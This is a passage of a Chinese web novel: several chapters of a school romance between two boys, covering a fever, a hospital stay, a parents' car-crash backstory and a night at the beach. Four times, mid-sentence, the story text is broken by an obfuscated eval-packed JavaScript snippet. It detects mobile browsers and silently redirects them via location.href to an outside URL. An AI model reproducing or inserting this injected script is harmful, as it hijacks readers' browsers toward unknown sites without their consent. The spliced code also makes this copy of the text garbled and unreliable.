本以为谭俞会被罚,没想到敌敌畏什么都没做,甚至连骂都没有骂,段佳成顿时目瞪口呆:这敌敌畏唱得哪一出啊,怎么自己上次迟到是被罚站了一个下午啊? 从谭俞出现开始,江淮书就一直在看他,等到谭俞坐回位置上时他才开了口:“你……” “嘘,”谭俞将食指放在唇边,示意江淮书不要说话,“我有东西要给你。” 江淮书顿了顿:“是什么?” 谭俞靠在椅子上休息,低笑:“回家你就知道了。” 大雨还在下,教室里恢复宁静,敌敌畏也开始了催眠曲,谭俞似乎很累,就这么撑着下巴睡着了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900344|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江淮书垂眸看着谭俞的睡颜,目光一点一点扫过他的睫毛,鼻尖,最后停留在嘴唇上。耳边传来谭俞浅浅的呼吸声,他顿了顿,移开了视线。 谭俞睡了一下午,江淮书也发呆了一下午。 放学后,教室里的学生陆陆续续走光了,段佳成过来叫醒谭俞:“老谭,老谭,放学了别睡了。” 被摇了好几下谭俞才醒,他揉了揉眼睛直起身,身上披着的校服掉了下来:“放学了?” 段佳成点点头:“对啊,你带伞了吗?” “没有,”他打了个哈欠,拿起了这件掉落的校服,“这校服谁的?” “我哪知道?”段佳成说道,接着大拇指指向外面,“我爸开车来接我,你没带的话我俩一起走,等会儿我让我爸送你回去。” 此话一出,不知为何谭俞的指尖突然颤了颤,他动作一顿,抬眸冲段佳成笑了笑:“没事,雨停了我再走,实在不行我跑回去,反正衣服湿了。” “这怎么行,”段佳成瞪大眼,一点都不赞同,“你感冒了怎么办?” 似乎是觉得段佳成啰嗦,谭俞啧了一声:“哎呀感冒不了,你快走吧,我要打游戏。”说着,他还掏出了手机,一副不想再听段佳成说话的模样。 段佳成知道谭俞是个犟种,不想做的事怎么劝都没有用,他叹了口气:“那我先走了。” “拜拜。” 段佳成走后,没过几分钟谭俞就关掉了手机,他望着外面的大雨,想着要不干脆跑回去得了,淋雨就淋雨。就在他胡思乱想时,江淮书的声音突然从门口传来:“谭俞,你醒了?” 谭俞转头看去,愣了愣:“你没走啊?” 江淮书点点头:“我扔垃圾去了。” “这件校服是你的?”谭俞见他只穿了件校服短袖,于是晃了晃手里的校服,“你给我披上的?” “嗯。” 江淮书应了一声,单背着书包站在教室门口。 “我带伞了,跟我走吧。” ————————————————————————— 雨越下越大,谭俞穿着并不合身的校服外套躲在江淮书的伞下,两人挨得近,并不觉得冷。雨水滴答滴答的落在伞上,为他们之间安静的气氛添了点趣味。 “江淮书。”谭俞突然出声。 江淮书转头看他:“什么事?” 谭俞冲他轻笑了下,当着他的面抬手嗅了嗅他的校服衣袖。 “你吃橘子长大的啊?你身上好香。” 闻言,江淮书脚步顿住了。 此时两人正好到了谭俞家家门口,谭俞站在伞下,轻轻挑眉:“你伸手。” 江淮书睫毛颤了颤,摊开了手心,谭俞将一串手链放到了他的手里,触感有些冰凉,接着谭俞强调道:“回家才能看。” “好,”江淮书垂眸,“我知道了。” 目送谭俞回家后江淮书才起步离开,他撑着伞走到拐角处,拿出手链举到了眼前。这串手链的珠子是塑料的,做工没那么精致,串法也很老套,但江淮书却觉得还挺好看。 他轻轻晃了晃手链,手链中间的铃铛顿时发出了清脆的声响,同时铃铛边的两颗刻着字的珠子也呈现在了他的视线里。 江淮书一愣,眸光微动,轻笑出声。 ——坏鼠。 8. 感冒 暴雨一直下到半夜才停,茉莉巷周边的茉莉花被雨打得凄惨,巷子里边的小道到处都是花瓣。 闹钟“叮铃铃”地响起,谭俞皱了皱眉,费力地睁开眼。喉咙里干涩疼痛,咽口水都艰难,谭俞感觉自己又冷又热,呼吸的时候肺都感觉快要裂开一般。 这种情况谭俞并不陌生,他这是发烧了。 他慢慢坐起身,缓和了下脑袋的胀痛后伸手去关掉了闹钟,房间里顿时恢复了宁静。 身体酸软无力,走路都摇晃,谭俞端起水喝了一口,咽下去时就像在吞刀片,他拿出手机给段佳成发了条消息,随后重新躺到床上,闭上了眼。 ————————————————————————— “谭俞没有来学校么?”江淮书皱着眉问道。 段佳成嚼了两口嘴里的面包,咽了下去:“对啊,”他打开手机给江淮书看聊天记录,“他说他困,让我帮他请假。” 闻言,江淮书垂眸扫了一眼聊天记录。 ——落潭:困,想多睡一会儿,你别等我,帮我请个假。 看完后江淮书目光一顿,嘴唇动了动:“请假不应该是本人请吗?” “你应该不知道,老谭经常这样,”段佳成收回手机,点开了游戏,“老师和同学都习惯了,其实就算不请也没什么事。” 所以之前谭俞上课睡觉老师不管也是因为习惯了么? 江淮书不太明白,谭俞的种种行为看起来都太随意,甚至有些自暴自弃,难道他不想走出梅城去外面看看吗? 这时,上课铃声响起,各个同学都回到了教室,江淮书跟段佳成要了谭俞的微信号后也拿着资料回到座位上。 几乎是整整一天谭俞都没有来学校,如果说他睡了一整天这根本不可能,江淮书心里有些担心,放学后便匆匆忙忙地跑出了教室。 他来到茉莉巷,一路上问了好几个人才找到谭俞家。他站在门口抬手敲了敲门,结果无人回应,谭俞不知道在做什么,微信也没有通过,一种不祥的预感涌上江淮书心头,他又敲了敲门,开口喊道:“谭俞,谭俞,你在家吗?!” “谭俞!” 此时的谭俞正昏昏沉沉的躺在床上,他隐隐约约听到有人在楼下敲门,还喊着自己的名字,但他连睁眼的力气都没有。 桌上的感冒药撒了一地,谭俞撑着绵软的身子站起来,慢慢扶着墙壁下楼去开门。 打开门后,江淮书的脸映入眼帘,谭俞有些惊讶,开口时说话的声音沙哑得吓人:“江淮书?” 江淮书感觉他声音不对,于是伸手去摸他的额头,手下传来滚烫的触感,江淮书心中一惊:“谭俞,你发烧了?” “嗯,”谭俞有气无力地应了一声,他脑袋昏沉,仿佛随时都会晕过去似的,“我刚刚吃了点药,没事,睡一觉就好。” “你疯了?”江淮书皱眉,“你现在烧得厉害,吃感冒药已经没用了,你怎么不去医院?” 谭俞勾了勾唇,神情似乎有些无所谓:“没事,死不了,浪费钱干什么。” 闻言江淮书的眼神立刻就暗了下来,似乎是没耐心跟谭俞这么耗着了,他扯了扯嘴角,垂眸看了谭俞一会儿,声音平淡道:“抱歉。” 话音一落,还没等谭俞反应过来江淮书为什么突然说抱歉时,江淮书就微微弯下腰,左手穿过他的腿弯,一把把他抱了起来。谭俞心里一惊,下意识地搂住了江淮书的脖子,他从来没被人这么抱过,此时有些呆住了。 “你……” 江淮书左脚勾住门用力拉了一下把门关上后就这么抱着谭俞跑了出去:“你睡一觉,睁眼就到医院了。” 说不清楚是发烧的原因还是什么,谭俞突然觉得脸似乎变得更烫了,脑袋也变得更加晕乎,鼻尖缭绕着江淮书身上的淡橘香,令他莫名感到安心。 江淮书抱着谭俞来到路边,准备拦辆出租车,但怀里的谭俞竟是突然一下子猛地揪住了他的衣领,他动作一顿,垂眸看向了谭俞:“怎么了?” 谭俞的脸霎时间变得煞白,瞳孔收缩,呼吸急促,甚至身子都在微微发抖:“别,江淮书,别。” “别坐车,别坐车。” “江淮书我求你,别坐车。” “你要是觉得重,我,我,我可以下来自己走。” 他的反应太过激烈,甚至可以称得上是应激。江淮书心里升起异样,但并没有立刻问为什么,他睫毛颤了颤,立刻开口安抚他,声音轻而温柔:“我不坐车,谭俞,你别怕。” 一个男生横抱着另一个男生站在路边,显得突兀又怪异,路过的人纷纷投来异样的眼光。江淮书注意到了,但他没管他们,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900345|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么抱着谭俞穿过马路,一路奔跑着跑到了医院。 他们来到医院挂水时谭俞已经严重高烧,甚至都没有意识直接晕过去了。趁他挂水期间,江淮书去旁边超市买了盒湿纸巾回来给他擦汗。在谭俞昏睡时江淮书一直陪在谭俞身边,片刻都没离开。 时间临近傍晚,太阳已经渐渐落山,姚淑芬杵着拐棍从门口走了进来,她眉头紧皱,满眼都是担忧:“小俞,小俞在这个病房吗?” 江淮书闻声抬眸,见是一个老人家,他站了起来:“您好,谭俞在这号病床。” 老太太心里担心,但行动不便,走不快,她步履蹒跚地走到谭俞身边,见谭俞脸色已经好了一些她才松了口气,接着跟江淮书道谢:“辛苦了孩子,大老远把小俞送来医院挂水,多少钱啊?” 江淮书礼貌地笑了笑:“没事的,没花多少钱。您是谭俞的奶奶吧?我是他的同桌,叫江淮书。” 似乎是觉得江淮书眼熟,姚淑芬眯着眼看了他好一会儿,突然想起了什么,她轻轻一笑:“你是那天刚搬来茉莉巷的孩子吧?那天我遇到你了。” “是的奶奶,”江淮书扶着她坐下,“那几天我确实水土不服不适应这里,有劳您和谭俞的关照了。” 姚淑芬笑得慈祥:“没事,以后呀有什么困难尽管跟我们说呀,既然住在茉莉巷了,那就是一家人了。” 此话一出,江淮书点头一笑:“谢谢您了。” 姚淑芬拍了拍江淮书的手,动作温柔,接着她看向谭俞的脸,叹了口气:“这孩子,生病了也不跟我讲,还是隔壁九爷告诉我说看见一个小伙子抱着小俞往医院跑我才知道,我收拾好摊子以后,这才慌里慌张地赶了过来。” 此话一出,江淮书忽然想起刚刚在路边打车时谭俞的抗拒和应激,他动作一顿,抬眸看向谭俞奶奶:“奶奶,我想问一下。” “为什么提到坐车,谭俞反应会这么激烈?” 他一问完姚淑芬的目光顿时就停住了,气氛逐渐安静下来,病房里只剩下医用仪器的“嘀嘀”声和人的呼吸声,流逝的几十秒里似乎就像是过了一个世纪。姚淑芬伸出颤颤巍巍的手抚摸了一下谭俞的头发,浑浊的眼睛里透露着伤怀。 “大概是因为他爸妈在他十一岁的时候就出车祸死了吧。” “那是他一辈子的阴影。” 9. 过去 那时的谭俞还小,只有十一岁,爸妈常年在外面工作很少回家,甚至有时候过年都没时间回来。 他在家里很懂事,在外面的时候也跟别的同龄小孩儿一样调皮得很,爱去海边捡东西,喜欢去薰衣草田里钻洞,有时也会去偷偷摘人家的杨桃吃。 在谭俞奶奶姚淑芬的印象里,谭俞是个讨喜的小男孩,他在家里从来不哭,可能是因为知道自己是哥哥,要照顾好妹妹,在别的孩子吵着要吃零食的时候,他已经学会自己做玩具逗谭叶开心了。 谭父谭母没时间陪谭俞和谭叶,对此时常感到亏欠,可他们没有办法每年都回家,能想到的只有往家里打钱,不断地打钱,似乎只要打了钱就能弥补谭俞空洞的童年。 姚淑芬腿有病不能经常走动,只能靠药熬着,所以谭俞放学从来不贪玩,因为不能,而且没有时间,他要照顾妹妹还要照顾奶奶,该贪玩的年纪里他已经学会了扛起重担,规划自己的时间。 上了这么久的小学,谭俞从来没有提过要开家长会,姚淑芬问他他也只会是笑着说学校没有要开家长会,让她不要操心,好好养腿。可姚淑芬不是傻子,她心里也明白,学校哪可能从来不开家长会,只是谭俞不跟她说罢了,很多时候她总是自责,要是她的腿没有毛病就好了,这样她就可以去参加谭俞的家长会,谭俞也不用眼巴巴地看着别人做亲子活动了。 有次暑假中午在家里,谭俞不想睡午觉,跑下楼跟姚淑芬说自己跟小伙伴出去玩,一会儿就回来。姚淑芬当然高兴,这个年龄的小孩儿就应该多出去走动走动,不能在家里憋坏了,于是就同意了。 不知是不是谭俞玩得太忘我忘记回家了,快傍晚了还不回来,姚淑芬很担心,杵着拐棍出去找他去了。 不出她所料,谭俞果然在海边,不过这次玩耍跟平常并不一样,谭俞没有跟小孩们高高兴兴地一起玩耍,而是被他们围在了中间。 “哈哈哈哈哈哈哈,你没有爸爸妈妈,你是孤儿!”一个小男孩指着谭俞捧腹大笑。 谭俞睫毛颤动着,面对围着他的一圈同龄小孩的恶意他有些不知所措。他握紧拳头,张了张嘴,似乎是想要竭尽全力反驳那个小男孩的话,但说出来的时候却又显得尤其的苍白无力:“我有,我有爸爸妈妈,他们只是在工作,他们会回来的!” 听了谭俞的话,孩子们就仿佛听到了什么笑话一样哈哈大笑:“每次你都这么说,但是每次学校搞亲子活动比赛的时候就只有你爸爸妈妈没有来,谭俞你羞不羞,你这个撒谎精!” 这句话一经出口就好似有什么神奇的魔力似的,那些小孩全都跟着叫喊。 “撒谎精撒谎精撒谎精,谭俞是撒谎精!” “谭俞是撒谎精!” “谭俞是撒谎精!” “谭俞是撒谎精!” 恶意来得铺天盖地,一股脑的砸在谭俞身上,他忍了又忍,眼泪终于还是掉了下来:“我不是!我不是我不是我不是!”他大叫着,声音凄厉尖细,仿佛一头死命挣扎的小兽,“不许你们这么说!” 他叫喊着,挥起拳头就冲那个带头的男孩打了过去。可寡不敌众,谭俞一个人怎么打得过十多个小孩?他被反压在地,那些小孩们对着他拳打脚踢,嘴里喊着“撒谎精”,“没有爸爸妈妈”等污言秽语。 姚淑芬再也忍不住,提着拐棍使劲全身力气就冲了过去,她一向温和有礼,面对这群欺负谭俞的孩子们第一次破例说出了脏话:“你们这群小杂种,谁让你们欺负我家小俞了?!给我滚!” 她拿着拐棍胡乱地打着,将谭俞护在怀里,像个疯子:“滚!再让我看见你们欺负谭俞,我打不死你们!” 双腿传来剧痛,但她纹丝未动,紧紧地搂住谭俞:“乖,小俞乖,咱们回家。” 那群小孩被拐棍打得尖叫不已,说要回去告爸妈,连忙跑远了。 谭俞颤抖着身子,用袖子在脸上用力的擦着,随后就抬起了头。他的眼睛肿得像核桃,却一滴眼泪都没有,右边的脸已经被打青了,可他却似乎感受不到疼痛一般笑了起来,神情带着点孩子气般的无所谓:“奶奶,我饿了,我们回家吃饭吧。” 那瞬间姚淑芬已经满眼的泪水,她用力抱紧谭俞,放声大哭。 海边的风很大,两人的头发和衣服被吹得凌乱不堪,月亮已经高挂在空,月光照在他们身上,凄凉又残忍。 每次快要过年的时候谭俞都很兴奋,在家里跑上跑下,收拾好房间就跑下楼待在座机边等爸妈的来电。尽管他心里明白爸妈回来的希望渺茫,但他还是乐此不疲,一次又一次地等待着。 后来在他生日前一天爸妈回来了,谭俞兴奋得一整晚都睡不着觉。谭俞的父母奇怪他为什么不睡觉,还以为是因为自己明天生日所以开心得睡不着,结果问了才知道,谭俞的回答让所有人沉默。 “我害怕这是个梦,爸爸妈妈,我怕我明天一醒来你们就不见了。” 生日的这天谭俞第一次显现出小孩子的心性,撒娇着让爸妈买生日蛋糕,谭俞的父母欣然同意,让他坐上车一起去蛋糕店选蛋糕。 他高兴得蹦起来:“我要最大最甜的蛋糕!” 谭俞的妈妈刮了刮他的鼻尖,笑了:“好,妈妈都依你。” 当天天气不太好,正在下雨,路上有些打滑,买完蛋糕回来的路上谭俞的爸爸开车开得很慢,可没想到在过一道岔路口时另一辆车没及时刹车,猛地撞了过来。 车子被撞翻,蛋糕摔烂在地,谭俞妈妈反应及时,用身体完全护住了谭俞,碎掉的玻璃从背后直直捅进了她的肺里,一口鲜血吐了出来,流到了谭俞的脸上。 谭俞完全愣在原地,呼吸顿时暂停。 谭俞的爸爸用尽力气爬了过来,玻璃在他的背上划了很长一道口子,他忍着剧痛把谭俞从车窗里推了出去,留给了他最后一句话。 “跑啊小俞,别受伤,活下去!” 身体仿佛受到了某种指令,他的双腿开始机械般地向远处跑去,没等路人报完警,这两辆车就突然爆炸了,发出“嘭”的一声巨响。 谭俞不停地跑,脑子里嗡嗡作响。 别受伤,活下去。 别受伤,活下去。 别受伤,活下去。 他满身的血却没有受一点伤,等他跑到家里时腿已经软得跪了下来,他抓着姚淑芬的裤腿,目光呆滞,声音沙哑。 “奶奶,” “我缠着爸妈买蛋糕,我把他们害死了。” ————————————————————————— “小俞把他爸妈的死归揽到自己身上,他曾经常常问我,如果当时他没有缠着爸妈去买蛋糕,结局会不会不一样。” 姚淑芬的手止不住地颤抖,她垂下眸,眼眶里充满着模糊的泪水:“我怎么回答小俞?我只能一遍遍告诉他,这不是他的错。” “他爸妈死了之后他变得更加懂事,从来没有哭过,他变得开朗爱笑,做什么事都顺其自然,朋友也多了不少。” “我以为这是好兆头,至少他没有活在阴影里。但后来我发现我想错了,他并没有从中走出来,反而产生了应激反应开始害怕接触车辆。” 姚淑芬面容平静,但她挂在脸上的泪和颤抖的声音与身体却暴露了她内心的伤痛,江淮书沉默着,静静地听着。 “我们小俞这么好的孩子,为什么在天有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900346|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵的菩萨没有保佑他呢?” 说完,姚淑芬抬手捂住了脸,泪水从她的指缝里流了出来。江淮书麻木的指尖动了动,目光缓缓落到了谭俞苍白的脸上,他看了谭俞很久,最后轻声开口。 “会的奶奶,一切都会好的。” “谭俞也会平平安安。” ————————————————————————— 谭俞醒来的时候外面正出着太阳,丝丝缕缕的阳光透过缝隙亲吻在病床的被褥上,他皱了皱眉,呆愣愣地盯着天花板。 几秒后他猛然坐了起来,之前的头晕脑胀倒是没有了,只是顿感一阵口干舌燥。 这里是医院? 这时,一个面容清丽的护士走了进来,她走到谭俞身边,随后拿起单子记录了一下,轻声开口:“你叫谭俞是吧?这是最后一瓶了,这瓶输完你就可以出院了。” “那个,护士姐姐,”谭俞张了张口,“我睡了多久啊?” 见谭俞一副吞吞吐吐的模样,护士笑了:“没多久,就昨天晚上和今天早上,发烧嘛,很正常的。” “那昨天送我来医院的那个男生你知道去哪儿了吗?” “你说的是一个跟你差不多大的男生吗?”护士收起了笔,指了指门口,“他去给你买水果去了,应该一会儿就回来了。” “啊,好,”谭俞点点头,“谢谢。” 说曹操曹操到,谭俞刚跟护士说完话就见江淮书提着一袋子的水果和牛奶进来了。 “哟,”谭俞挑眉,“我这病患当得不错嘛,谢了同桌。” 闻言江淮书勾了勾唇,将一杯温水递到了他面前:“喝吧。” 谭俞接过杯子,有些惊喜地看着江淮书:“你怎么知道我想喝水?” 江淮书拿着苹果坐在垃圾桶旁边削皮,随口回答道:“输完液睡觉醒来都会想喝水。” “哦,”谭俞应了一声,抬眸看江淮书,“你下午是不是要去上课?” 江淮书削皮很快,没过半分钟就削完了一个苹果,他伸手递给谭俞:“嗯,一会儿你奶奶要来照顾你。” 苹果很小巧,看起来挺不错,谭俞说了声谢谢,接了过来,他闻言干笑:“我奶奶知道我生病了啊?” “嗯。” 谭俞闭上眼,哀嚎一声:“我奶奶腿不好,我不想麻烦她老人家的。” “吃完睡一觉应该就输完液了,”江淮书微微弯腰,给他盖好了被子,“你别想太多,我先在这陪着你,一会儿你奶奶过来了我再走。” “OK。” 病房里安静下来,凉丝丝的风在窗外刮着,繁茂的树叶被吹得哗哗响。江淮书坐在床边安静看书,谭俞三两下啃完苹果,发了一会儿呆后便无知无觉地睡了过去。 睡意朦胧间,他模糊地感觉到有人正在他的手腕处弄着什么,但以为是梦他并没有想太多。 等他再次醒来时江淮书已经不见了踪影,他的奶奶姚淑芬正坐在他旁边戴着老花镜缝布娃娃。 “奶奶。”谭俞叫了一声。 姚淑芬抬眸看了过来,唇边顿时露出了和蔼的笑:“醒啦?醒了就快起床吧,已经输完液了,可以出院咯。” “对不起奶奶,”谭俞愧疚的说,“不该这么麻烦您的。” “哎哟说什么呢,”姚淑芬轻轻戳了戳他的脑袋,“以后生病要早点跟我说,别让我担心啊,快起床吧。” 谭俞冲姚淑芬笑了笑:“好。” 说完,他的手动了动,准备撑起身子起床,但不知道什么东西硌到了他的手心,他皱了皱眉,举起左手看了一眼,顿时愣住了。 他的手腕上系着一条平安绳。 10. 海边的夜 早上学校的早点摊人特别多,谭俞买了两串炸螃蟹就进了学校。 “老谭,你今天怎么来这么早?”段佳成嚼着鱿鱼丝,口齿不清地问道。 谭俞心情似乎很愉悦,一路上都在哼着小曲儿:“早吗?我觉得还好啊。” “你中邪了吧?”见谭俞这幅样子,段佳成感到头皮发麻,“看你笑的,你捡到钱了?” “滚。” 两人瞎聊着天走到了教室门口,这时谭俞突然停住了脚步,转头冲段佳成比了个手势,示意他别出声,段佳成见状,简直一头雾水,低声问:“怎么了?” 谭俞笑了笑,桃花眼弯起,表情得蔫坏。他轻手轻脚地走进了教室,只剩段佳成一个人懵在原地,段佳成愣了半天,直到谭俞走到江淮书后面他才反应过来,默默在心里吐槽:真幼稚! 此时的江淮书正在刷题,对于身后的风险毫不知情,谭俞见时机已到,一下子将校服蒙到了江淮书的头上,接着夹起嗓子,嗲声嗲气地问:“哥哥,猜猜我是谁?” 由于抱得用力过猛,江淮书的笔尖一下子从答题区里划了出来,一条长长的黑线突兀地出现在了字迹工整漂亮的一排排字里。但江淮书并没有什么太大的情绪波动,而是勾了勾嘴角,唇边的那颗小痣也跟着一起上扬,他轻笑。 “那我想想。” “是小谭?” “小俞?” “还是……”他顿了顿,偏头凑到了谭俞的耳边,声音压低,“谭俞。” 话音一落,谭俞莫名感觉自己被电了一下,酥麻感从耳道舔舐到心尖,他手指一松,校服滑落,一双狭长漂亮的凤眼露了出来,两人对上了视线。 “咳,”谭俞轻咳一声,将校服捡起塞到了江淮书怀里,“校服还你,谢了。” 说着,他转身坐到了座位上:“我手上的平安绳是你给系上的?” 江淮书把校服往桌洞里塞,闻言应声:“嗯。” 谭俞不是很白,但也不黑,是那种纯正的小麦肤色,这条红色的平安绳系在他的手腕处很能显现出色差,有种别样的风情。他炸螃蟹放在桌上,右手支起下巴看向江淮书,微微弯眸:“为什么想着送我这个?” “你觉得怎么样,”江淮书不答反问,“喜欢吗?” 谭俞抬起系着平安绳的那只手仔细端详片刻,接着笑了笑:“喜欢啊。” 此时教室里已经陆陆续续来了很多学生,他们补作业的补作业,聊天的聊天,吃早餐的吃早餐,没有人注意这最后一排的角落。江淮书偏头看向谭俞,低声回答。 “所以你喜欢我就送了啊。” 谭俞闻言一怔,随后又笑开了,他笑得喉结都在颤动:“你跟我玩套路呢同桌。” “嗯。” 谭俞有记日记的习惯,每天作业是不做的,但是日记是必须要记的。他在日记本上画了一大个丑得要死老鼠人,随后打了个箭头指向右边,接着在右边写了句话: ——5.14 晴 坏鼠同桌送了我一条平安绳,我很喜欢,今后定要将它摆在供台上,每日虔诚拜三拜。 他边写还边大声念出来,生怕江淮书听不见似的。江淮书写题的笔尖一顿,嘴角不自觉地勾起。 ————————————————————————— 今天谭俞难得没睡觉,但他也没听课,玩了一整天的手机。其他老师上课的时候都睁一只眼闭一只眼,懒得管他,看见了也不说什么,但凡事都有例外,那个例外就是敌敌畏。 “来,谭俞,看你打游戏打得热火朝天,想必段位也是大大的好了,你来告诉我有机方程式有哪些。” 突然被点名的谭俞还没来得及反应,站起来时脑子一片空白:“啊?” 正所谓兄弟有难我添乱,段佳成一脸幸灾乐祸,笑意根本藏不住:“老师说你段位高,让你带他打游戏!” 话音一落,全班哄堂大笑,谭俞瞪了一眼段佳成,面露歉意地对老师道:“老师您再问一遍,我刚刚没听清楚。” “行,”敌敌畏点点头,“我刚刚说的是让你讲一下有机方程式有哪些。” 这可把谭俞难倒了,他连有机无机是什么都不知道,更别说概括方程式有哪些了。他轻舔了下嘴唇,眼神有些飘忽,悄悄伸手勾了一下江淮书的校服领子,示意让他救一下自己。 江淮书接收到他的暗示,开口小声提醒:“加聚反应。” “啊?”谭俞没听清楚,不动声色地微微弯了弯腰,“什么?” “加聚反应。” 这下他听清了点,但没完全听清,敌敌畏注意到他们的小动作,重重地咳了一声:“想起来没有谭俞?” “家……呃……”谭俞欲言又止,小心翼翼地观察着敌敌畏的表情,“家居反应。” 此话一出,江淮书闭上了眼。 段佳成带头大笑,一点面子也不给:“家居?!哈哈哈哈哈,家,家居!” 敌敌畏也是气笑了:“家居?”他顿了顿,冷哼一声,“我还独居呢!那叫加聚,你同桌都提醒你了你还说错?!” “坐下!今天晚上把有机化学方程式归纳总结抄五十遍明天交给我!” 谭俞嘴角抽了抽,生无可恋地坐了下来。他偏头看了江淮书一眼,见后者一副要笑不笑的模样,他磨了磨牙,指尖扯住了对方的衣袖:“笑什么笑,不准笑!” “好,”江淮书敛眸,“不笑了。” ————————————————————————— 这几天放学段佳成总爱去篮球场打篮球,谭俞懒得等他,跟着江淮书先走了。梅城傍晚的气温很适宜,不冷不热刚刚好,从学校抄近路回茉莉巷需要经过一片薰衣草田,那儿有一座很长的桥,江淮书走在前面,谭俞拽着他的校服衣角走在后面。 “同桌,我要去你家写作业。” “好。” “同桌,我想喝你调的咖啡。” “好。” “同桌,我送你的手链好不好看?” “好看。” “同桌同桌同桌——” “嗯?” 一路上谭俞都在说些废话缠着江淮书,江淮书也是不厌其烦地一句一句回答他。很神奇,两人似乎并没有生疏的时候,从相遇到现在他们相处得一直都很好,仿佛是天注定的缘分,他们天生就很合得来。 大雁叫着飞向南边,两人的影子亲密无间地缠在一起。这时谭俞突然停下脚步,由于手里还拽着江淮书的衣角于是连带着对方也停了下来。 “怎么了?” “江淮书,”谭俞眸光潋滟,他笑,“我们别回家了,去海边吧。” 谭俞说完,没等江淮书同意他就拉着他的手跑了起来。 温热的温度在指尖传递,两道形影不离的身影在薰衣草田间闪烁着,渐渐下山的太阳模糊了两人的影子,发丝被风撩起,露出了他们勾着笑意的眼眸。倘若时间能够定格,那这将会是一幅绝美的油画。 待他们穿过月牙湾来到沙滩边时天已经完全黑了,谭俞生了篝火,将手机放在书包上放着音乐。 “我超级喜欢来海边听歌,”他将一罐鸡尾酒递给了江淮书,“吹着海风听歌赏月, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900347|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特别舒服。” 江淮书闻言,眉梢微挑:“你还挺会享受。” 易拉罐被拉开,谭俞伸手过去跟他碰杯,接着喝了几口:“对了,我很好奇,你原来住的地方是什么样的啊?” “那里很繁华,”江淮书顿了顿,接着道,“都是高楼大厦,几乎没有什么花花草草,晚上灯红酒绿的,很漂亮。” “这么说的话,”谭俞将头靠在手背上,眨了下眼,“你家好像很有钱啊,听说你们这些少爷小姐会跳舞,你会吗?” 此时的谭俞脸已经渐渐染上了红晕,不知道是不是微醺了,江淮书微微勾唇:“那个是只有在参加正式聚会上才会跳,叫交际舞,我会,你想试试么?” 火燃得很旺,发出噼里啪啦的声响,有时还会跳起火星子。谭俞喝完最后一口酒,站起身冲江淮书展开怀抱:“好啊!来吧!” 江淮书被逗笑,也站了起来。他伸手搂住谭俞的腰,右手握住了对方的左手,脚步开始左右动了起来。 “哈哈哈哈痒!”谭俞笑出声,“你摸我腰干什么?” “跳舞啊,”江淮书语气平静,脸色似乎也变得一本正经,“你现在是我的舞伴。” 交际舞很简单,但是谭俞并没有跳过,两人在跳的过程中他总是踩到江淮书的脚,但他毫无愧疚之情,甚至还倒打一耙:“你踩我脚了。” 他的语气听起来已经有些微醺了,江淮书眼里闪过惊讶,显然是没想到他酒量这么差:“你醉了?” “没有。” 行,这下是真确定他醉了。 悬月高挂,海浪扑向礁石被撞得破碎,手机的音乐还在放,江淮书抱着他在篝火边转了个圈又稳稳落地,他脸很红,一直在笑。 “同桌,你身上有好香好香的橘子味,你今天是不是吃独食了。” “没有,”江淮书低声道,“我不是很爱吃橘子。” “那你身上为什么总是有股橘子味?” “应该是洗衣粉的味道。” “啊,”谭俞傻笑,“那你帮我洗衣服呗,我也想要这个味道。” 他身上很热,眼尾都勾着点湿红,略微湿润的眸子里透露着狡黠,江淮书感觉自己快要融化了。或许是他柔软的语气,又或许是他微醺的眼睛,也或许是他滚烫的体温,江淮书莫名觉得有些受不住,于是声音一再压低,变得又柔又轻。 “好。” 他们凑得很近,呼吸几乎都交融在了一起,谭俞轻轻挑眉:“同桌你真好。” “谭俞,” 江淮书慢慢低头,嘴唇几乎快要贴上去了,但却突然定格在一个未满的距离一动不动,他轻笑。 “不知道有没有人告诉过你,” “你好可爱。” 谭俞丝毫没有察觉两人的距离已经超过正常朋友的亲密红线,他缓缓眨了眨迷离的眼,语气慵懒随意:“江淮书,我给你变个魔术。” 